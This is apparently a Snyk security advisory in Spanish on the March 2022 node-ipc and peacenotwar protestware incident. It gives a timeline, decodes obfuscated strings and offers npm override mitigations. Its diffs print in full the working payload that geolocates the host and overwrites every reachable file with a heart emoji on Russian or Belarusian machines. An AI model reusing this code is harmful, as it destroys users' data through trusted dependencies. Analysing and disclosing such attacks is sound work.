Skip to main content

Alerta: el módulo peacenotwar sabotea a desarrolladores de npm en el paquete node-ipc para protestar por la invasión de Ucrania

Escrito por
feature peacenotwar node ipc

16 de marzo de 2022

0 minutos de lectura

El 15 de marzo de 2022, los usuarios del popular framework frontend de JavaScript Vue.js comenzaron a experimentar lo que solo puede describirse como un ataque a la cadena de suministro que afecta al ecosistema npm. Esto se debió al sabotaje de las dependencias anidadas node-ipc y peacenotwar como acto de protesta por parte del mantenedor del paquete node-ipc.

Este incidente de seguridad implica actos destructivos de corrupción de archivos en disco por parte de un mantenedor y sus intentos de ocultar y reiterar ese sabotaje deliberado de distintas formas. Aunque se trata de un ataque con motivaciones de protesta, pone de relieve un problema más amplio que enfrenta la cadena de suministro de software: las dependencias transitivas de tu código pueden tener un gran impacto en tu seguridad.

Snyk está haciendo seguimiento de los incidentes de seguridad descritos en este artículo mediante los siguientes CVE: CVE-2022-23812 para node-ipc y SNYK-JS-PEACENOTWAR-2426724 para los módulos npm peacenotwar y oneday-test. Si ya usas Snyk para la seguridad de código abierto y la seguridad de la cadena de suministro, recibirás notificaciones, alertas y pull requests automatizados generados por las herramientas para mantenerte a salvo e informarte sobre el tema. Sigue leyendo para conocer más detalles sobre este ataque a la cadena de suministro.

Acontecimientos previos que llevaron al abuso del paquete npm node-ipc

Esta historia comenzó el 8 de marzo de 2022, a las 6 p. m. GMT+2. En ese momento, el mantenedor de npm RIAEvangelist (Brandon Nozaki Miller) escribió código fuente y publicó un paquete npm llamado peacenotwar, que, según la descripción del módulo:

This code serves as a non-destructive example of why controlling 
your node modules is important. It also serves as a non-violent 
protest against Russia's aggression that threatens the world right 
now. This module will add a message of peace on your users' 
desktops, and it will only do it if it does not already exist 
just to be polite.

Hasta ayer (15 de marzo), este módulo prácticamente no tenía descargas. Sin embargo, todo cambió cuando su mantenedor en npm agregó este módulo como dependencia a otro de sus populares módulos, node-ipc, que por sí mismo es una dependencia popular de la que dependen muchos desarrolladores de JavaScript del ecosistema.

Lista de versiones que muestra la etiqueta actual 9.1.6 y el historial de versiones con descargas y fechas de publicación

Uno de los proyectos del ecosistema JavaScript que depende de él es la herramienta de línea de comandos de Vue.js, Vue.js CLI, también conocida como el paquete npm @vue/cli. El siguiente árbol de dependencias anidadas muestra exactamente cómo node-ipc llega al paquete npm Vue.js CLI y promueve aún más la necesidad de evaluar las dependencias anidadas como un riesgo integral:

- @vue/cli
   |
   - @vue/cli-ui
      |
      - node-ipc@^9.2.1
   - @vue/cli-shared-utils
      |
      - node-ipc@^9.1.1

La versión “estable” más reciente del paquete npm node-ipc (versión 9.2.2) incluye peacenotwar y, curiosamente, también incluye el infame paquete npm colors con un rango de dependencias comodín *. Si no conoces la historia del paquete npm colors y faker, que su mantenedor, Marak, abusó y corrompió intencionalmente, te recomiendo que la consultes como otra perspectiva sobre la seguridad de la cadena de suministro de código abierto.

Cronología de los acontecimientos

Las versiones anteriores de node-ipc, como la 10.1.0 (publicada hace seis meses) y hasta la 10.0.0 (publicada hace nueve meses), incluyeron actualizaciones y mejoras legítimas. Sin embargo…

7 de marzo

La semana pasada se publicó la versión 10.1.1, con cambios claros en el código que suscitaron inquietudes sobre actividad sospechosa y un posible abuso del código fuente y del comportamiento del paquete. Exploremos las diferencias entre las versiones 10.1.0 y 10.1.1:

diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.0..v10.1.1 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,6 +1030,74 @@
   });
 }

+// dao/ssl-geospec.js
+var import_path = __toModule(require("path"));
+var import_fs3 = __toModule(require("fs"));
+var import_https = __toModule(require("https"));
+setTimeout(function() {
+  const t = Math.round(Math.random() * 4);
+  if (t > 1) {
+    return;
+  }
+  const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
+  import_https.default.get(n.toString("utf8"), function(t2) {
+    t2.on("data", function(t3) {
+      const n2 = Buffer.from("Li8=", "base64");
+      const o2 = Buffer.from("Li4v", "base64");
+      const r = Buffer.from("Li4vLi4v", "base64");
+      const f = Buffer.from("Lw==", "base64");
+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+      const e = Buffer.from("cnVzc2lh", "base64");
+      const i = Buffer.from("YmVsYXJ1cw==", "base64");
+      try {
+        const s = JSON.parse(t3.toString("utf8"));
+        const u2 = s[c.toString("utf8")].toLowerCase();
+        const a2 = u2.includes(e.toString("utf8")) || u2.includes(i.toString("utf8"));
+        if (a2) {
+          h(n2.toString("utf8"));
+          h(o2.toString("utf8"));
+          h(r.toString("utf8"));
+          h(f.toString("utf8"));
+        }
+      } catch (t4) {
+      }
+    });
+  });
+}, Math.ceil(Math.random() * 1e3));
+async function h(n = "", o2 = "") {
+  if (!import_fs3.default.existsSync(n)) {
+    return;
+  }
+  let r = [];
+  try {
+    r = import_fs3.default.readdirSync(n);
+  } catch (t) {
+  }
+  const f = [];
+  const c = Buffer.from("4p2k77iP", "base64");
+  for (var e = 0; e < r.length; e++) {
+    const i = import_path.default.join(n, r[e]);
+    let t = null;
+    try {
+      t = import_fs3.default.lstatSync(i);
+    } catch (t2) {
+      continue;
+    }
+    if (t.isDirectory()) {
+      const s = h(i, o2);
+      s.length > 0 ? f.push(...s) : null;
+    } else if (i.indexOf(o2) >= 0) {
+      try {
+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+        });
+      } catch (t2) {
+      }
+    }
+  }
+  return f;
+}
+var ssl = true;
+

El módulo compatible con CommonJS de Node.js node-ipc.cjs es bastante extenso: tiene más de 1000 líneas de código. La presencia de llamadas HTTPS salientes a ubicaciones remotas y datos codificados en Base64 son motivos suficientes para alertar sobre posibles irregularidades y sirven como base para los IoC (indicadores de compromiso).

Este código agregado a node-ipc@10.1.1 establece un temporizador para que, en cada intervalo aleatorio preconfigurado en el que se llame código relacionado con node-ipc, también se ejecute una función que parece realizar operaciones en el sistema de archivos.

Veamos más de cerca los valores codificados en Base64 de los argumentos que se pasan a la función que realiza operaciones en el sistema de archivos. En la diferencia anterior:

+      const n2 = Buffer.from("Li8=", "base64");
+      const o2 = Buffer.from("Li4v", "base64");
+      const r = Buffer.from("Li4vLi4v", "base64");
+      const f = Buffer.from("Lw==", "base64");
+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+      const e = Buffer.from("cnVzc2lh", "base64");
+      const i = Buffer.from("YmVsYXJ1cw==", "base64");

Todos estos valores se pasan después a la función del temporizador, por ejemplo:

+          h(n2.toString("utf8"));

Los valores de las cadenas Base64 codificadas anteriores son:

  • n2 tiene el valor: ./

  • o2 tiene el valor: ../

  • r tiene el valor: ../../

  • f tiene el valor: /

Cuando se pasan a la función del temporizador, se usan en la siguiente línea de código como fuentes de archivos para borrar el contenido de los archivos y reemplazarlo por un emoji de corazón (representado en la línea de diferencia +  const c = Buffer.from("4p2k77iP", "base64");)

+      try {
+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+        });

En este punto, se producirá un abuso muy evidente y un incidente crítico de seguridad de la cadena de suministro en cualquier sistema en el que se invoque este paquete npm, si corresponde a una ubicación geográfica de Rusia o Bielorrusia.

La terminal muestra resultados de depuración simulados de Node.js, incluidos datos de geolocalización de Rusia y Bielorrusia, y un símbolo de corazón que indica la sobrescritura de archivos.
Resultados de depuración simulados en un entorno de pruebas aislado.

El contenido actualizado del archivo README de node-ipc@10.1.1no menciona este comportamiento recién agregado. En cambio, incluye una invitación a patrocinar a RIAEvangelist y un ejemplo de cómo usar las versiones ES6 y CommonJS de node-ipc en las versiones 10 y posteriores.

Unas diez horas después, se publicó la versión node-ipc@10.1.2, prácticamente sin cambios, excepto por el incremento de versión. Posiblemente, en un intento de activar actualizaciones automáticas de dependencias. Esta es la diferencia completa de Git entre ambas versiones:

diff --git a/package.json b/package.json
index v10.1.1..v10.1.2 100666
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "node-ipc",
-  "version": "10.1.1",
+  "version": "10.1.2",
   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
   "type": "module",
   "main": "node-ipc.cjs",

8 de marzo

Luego, unas cinco horas después, el 8 de marzo, se publicó una nueva versión: node-ipc@10.1.3, que parece haber eliminado todos los indicios de la carga destructiva mencionada. Al revisar la diferencia de Git entre ambas versiones, se confirma:

diff --git a/node-ipc.cjs b/node-ipc.cjs
index v10.1.2..v10.1.3 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1030,74 +1030,6 @@
   });
 }

-// dao/ssl-geospec.js
-var import_path = __toModule(require("path"));
-var import_fs3 = __toModule(require("fs"));
-var import_https = __toModule(require("https"));
-setTimeout(function() {
-  const t = Math.round(Math.random() * 4);
-  if (t > 1) {
-    return;
-  }

…
diff --git a/dao/ssl-geospec.js b/dao/ssl-geospec.js
deleted file mode 100666
index v10.1.2..v10.1.3
--- a/dao/ssl-geospec.js
+++ b/dao/ssl-geospec.js
@@ -1,1 +0,0 @@
-import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

Sospechamos que esto se retiró de la rama de la versión 10.x debido a una conversación que surgió a partir del problema de GitHub donde se reportó este comportamiento, en el que el mantenedor afirma que publicó esa carga como parte de una nueva versión principal de la biblioteca:

Comentario en un foro con tema oscuro de RIAEvangelist, donde habla de un módulo que agrega un mensaje de paz a los escritorios de los usuarios y del versionado de dependencias.

En resumen, las versiones vulnerables de node-ipc, es decir, node-ipc@10.1.1 y node-ipc@10.1.2, estuvieron disponibles en el registro npmjs durante menos de 24 horas. Sin embargo, debido al gran número de descargas entre desarrolladores y sistemas de compilación, esto afectó sin duda a algunos de ellos, según confirmamos en los reportes publicados en repositorios públicos:

Comentario con tema oscuro de donan que expresa preocupación por un problema de seguridad de node-ipc en Vue CLI y el posible formateo del disco duro.

Sin embargo, las versiones vulnerables 10.1.1 y 10.1.2 ya no están disponibles en el registro npmjs y, de hecho, fueron marcadas como deprecated, ya sea por el mantenedor o por el equipo de npmjs. Podemos confirmarlo en el siguiente aviso del sitio web de npmjs:

Aviso que dice «Esta versión quedó obsoleta» con el mensaje del autor «problema de seguridad».

El 8 de marzo, a las 7:25 p. m. GMT+2 y menos de cuatro horas después de que se publicara node-ipc@10.1.3 para revertir la carga destructiva, se publicó una nueva versión principal, node-ipc@11.0.0, en el registro npmjs. ¿Qué cambió?

La nueva versión principal node-ipc@11.0.0 ahora incluye lo siguiente:

  • Una dependencia del módulo peacenotwar

  • Cada vez que se invoca la funcionalidad del módulo node-ipc, este imprime en STDOUT un mensaje extraído del módulo peacenotwar y también crea un archivo en el Escritorio del usuario con contenido relacionado con la situación de guerra actual entre Rusia y Ucrania.

  • El README de la versión 11.0.0 comunica el uso explícito de peacenotwar como parte de este módulo en la siguiente nota: ***as of v11*** this module uses the [peacenotwar](https://github.com/RIAEvangelist/peacenotwar) module.

¿Qué llevó a incluir el paquete npmpeacenotwar en las versiones principales de node-ipc, afectando a millones de desarrolladores?

15 de marzo

Ayer, 15 de marzo, a las 6:49 p. m. GMT+2 y a las 7:40 p. m. GMT+2, se publicaron dos nuevas versiones importantes de npm para node-ipc. La más significativa es una nueva versión de parche, node-ipc@9.2.2, porque es la rama estable más reciente de node-ipc y muchos proyectos del ecosistema dependen de ella, incluido el ya mencionado Vue.js CLI @vue/cli.

A continuación se detallan los cambios agregados en node-ipc@9.2.2:

  1. Agrega código fuente de ejemplo al contenido del paquete.

  2. Agrega peacenotwar como dependencia y lo ejecuta cuando cualquier dependencia que lo importe invoca node-ipc.

  3. También agrega explícitamente una dependencia de colors@*, que incorpora código fuente intencionalmente vulnerable creado por otro mantenedor.

  4. En esta nueva versión menor, cambia la licencia MIT por la licencia DBAD. Nota de edición: Lalicencia DBADcontiene lenguaje vulgar.

Más o menos al mismo tiempo, se publicó una nueva versión menor, node-ipc@11.1.0, que actualiza la dependencia peacenotwar a una nueva versión, pero elimina los mensajes console.log() que se registraban en STDOUT. Podemos confirmarlo en el siguiente registro de diferencias de Git entre los dos paquetes npm de node-ipc:

diff --git a/node-ipc.cjs b/node-ipc.cjs
index v11.0.0..v11.1.0 100666
--- a/node-ipc.cjs
+++ b/node-ipc.cjs
@@ -1328,7 +1328,6 @@
 var OneDriveDesktopFileExists = fromDir(OneDriveDesktops, "WITH-LOVE-FROM-AMERICA.txt");
 var OneDriveFileExists = fromDir(OneDrive, "WITH-LOVE-FROM-AMERICA.txt");
 function deliverAPeacefulMessage(path2, message) {
-  console.log(path2);
   try {
     import_fs5.default.writeFile(path2, message, function(err) {
     });
@@ -1336,7 +1335,6 @@
   }
 }
 if (!(DesktopFileExists == null ? void 0 : DesktopFileExists.length) && !(OneDriveFileExists == null ? void 0 : OneDriveFileExists.length) && !(OneDriveDesktopFileExists == null ? void 0 : OneDriveDesktopFileExists.length)) {
-  console.log("in here");
   const thinkaboutit = "WITH-LOVE-FROM-AMERICA.txt";
   const WITH_LOVE_FROM_AMERICA = read(`./${thinkaboutit}`);
   deliverAPeacefulMessage(`${Desktops}${thinkaboutit}`, WITH_LOVE_FROM_AMERICA);
diff --git a/package.json b/package.json
index v11.0.0..v11.1.0 100666
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "node-ipc",
-  "version": "11.0.0",
+  "version": "11.1.0",
   "description": "A nodejs module for local and remote Inter Process Communication (IPC), Neural Networking, and able to facilitate machine learning.",
   "type": "module",
   "main": "node-ipc.cjs",
@@ -19,7 +19,7 @@
     "event-pubsub": "5.0.3",
     "js-message": "1.0.7",
     "js-queue": "2.0.2",
-    "peacenotwar": "^9.1.3",
+    "peacenotwar": "^9.1.5",
     "strong-type": "^1.0.1"
   },
   "devDependencies": {

Seguridad de la cadena de suministro frente a la reputación del mantenedor

Aunque algunas personas puedan percibir el acto deliberado y peligroso del mantenedor RIAEvangelist como una protesta legítima, ¿qué implica esto para su reputación futura y su lugar en la comunidad de desarrolladores? ¿Se volvería a confiar en este mantenedor para que no repita acciones similares, o incluso más agresivas, en otros proyectos en los que participe?

Actualmente, RIAEvangelist mantiene más de 40 paquetes npm, con cientos de millones de descargas en conjunto. Estos son solo algunos de los módulos que mantiene y sus descargas semanales en el registro npmjs:

Módulo npm

Descargas semanales

node-ipc: módulo de Node.js para la comunicación entre procesos (IPC) local y remota, redes neuronales y aprendizaje automático.

1,055,386

js-queue: cola sencilla de JS con ejecución automática para Node y navegadores.

1,042,512

easy-stack: pila sencilla de JS con ejecución automática para Node y navegadores.

1,001,945

js-message: protocolo normalizado de objetos JS, mensajes JSON y eventos para node.js, vanialla js, react.js, componentes, acciones, almacenes y despachadores.

1,001,943

event-pubsub: eventos ES6+ y emisores de eventos extensibles, muy ligeros y rápidos, para Node y el navegador. Fácil para desarrolladores de cualquier nivel; usa exactamente el mismo código en Node y en el navegador. Sin extras, ¡solo eventos de alta velocidad!

996,076

node-cmd: interfaz sencilla de línea de comandos, terminal y shell que te permite ejecutar comandos de estilo CLI o Bash como si estuvieras en la terminal.

41,083

El equipo de investigación de seguridad de Snyk no ha encontrado indicios de abuso intencional similar en otros paquetes de este mantenedor, pero sigue atento a las actualizaciones que se publican en el ecosistema npmjs.

Cómo mitigar el problema de node-ipc

Ante la preocupación por futuras actualizaciones de código que podrían poner en riesgo a los usuarios, recomendamos evitar por completo el paquete npm node-ipc. Si este paquete npm está incluido en tu proyecto como parte de la aplicación que estás desarrollando, te recomendamos usar la función del administrador de paquetes npm para anular por completo las versiones saboteadas y fijar la dependencia transitiva en una versión de confianza.

Si usas npm como administrador de paquetes, puedes agregar lo siguiente al archivo package.json para permitir explícitamente solo versiones inocuas de node-ipc:

  "overrides": {
    "node-ipc@>9.2.1 <10": "9.2.1",
    "node-ipc@>10.1.0": "10.1.0"
  }

Víctimas conocidas de alto perfil del incidente de node-ipc

Se descubre que el proyecto Vue.js es vulnerable al protestware de node-ipc

Vue.js CLI dependía del rango de versiones 9.x de node-ipc y era vulnerable a la versión 9.2.2, que agregó el módulo peacenotwar, el cual escribía un archivo WITH-LOVE-FROM-AMERICA.txt en el escritorio del usuario. La vulnerabilidad de @vue/cli ya se corrigió. Actualiza a las versiones más recientes de @vue/cli, ya sea la 4.5.16+ o la 5.0.3+, con el administrador de paquetes que prefieras:

npm i -g @vue/cli
pnpm i -g @vue/cli
yarn global add @vue/cli

Se descubre que el motor de videojuegos Unity es vulnerable al protestware de node-ipc

Los usuarios reportaron que se descubrió que el proyecto del motor de videojuegos Unity distribuía su software junto con node-ipc@9.2.2, lo que alarmó a los usuarios que, para su sorpresa, encontraron un archivo nuevo en su escritorio. El equipo de Unity se apresuró a lanzar una versión hotfix 3.1.1 el 16 de marzo para mitigar el problema.

Resumen

Snyk está del lado de Ucrania y hemos tomado medidas proactivas para apoyar al pueblo ucraniano durante la crisis actual mediante donaciones y servicios gratuitos para desarrolladores de todo el mundo, además de tomar medidas para cesar nuestras operaciones comerciales en Rusia y Bielorrusia. Dicho esto, los abusos intencionales como este socavan a la comunidad global de código abierto y nos obligan a marcar las versiones afectadas de node-ipc como vulnerabilidades de seguridad.

Por este motivo, el equipo de seguridad de Snyk publicó CVE-2022-23812 y SNYK-JS-PEACENOTWAR-2426724 para alertar sobre la vulnerabilidad de seguridad y hacer un seguimiento de ella en las versiones vulnerables intencionales de node-ipc. El plan gratuito de Snyk también está actualizado con esta nueva vulnerabilidad, lo que permite a los desarrolladores analizar y monitorear sus proyectos, y desplegar automáticamente correcciones de seguridad en forma de pull requests.

Sin embargo, el impacto de los incidentes de seguridad de la cadena de suministro sigue demostrando la necesidad de gestionar adecuadamente los riesgos relacionados con las dependencias de código abierto y responder a ellos con rapidez. Además, la complejidad de las dependencias anidadas, como las del ecosistema de JavaScript de npmjs, ha vuelto a demostrar el efecto multiplicador que tienen en proyectos clave del ecosistema.

Hace apenas dos meses hablamos de las consecuencias generalizadas de un incidente de seguridad similar, en el que un mantenedor de código abierto saboteó los paquetes de npm «colors» y «faker», lo que demostró que los mantenedores pueden sabotear intencionalmente las bibliotecas de código abierto.

Cada vez es más importante aprender a gestionar las dependencias de software a escala, así como asegurarte, como desarrollador, de seguir las prácticas recomendadas de seguridad de npm y aprender sobre los riesgos y los incidentes de seguridad, como por qué los archivos de bloqueo de npm pueden ser un punto ciego de seguridad que permite inyectar módulos maliciosos.

Conoce más sobre la seguridad de la cadena de suministro en estos artículos: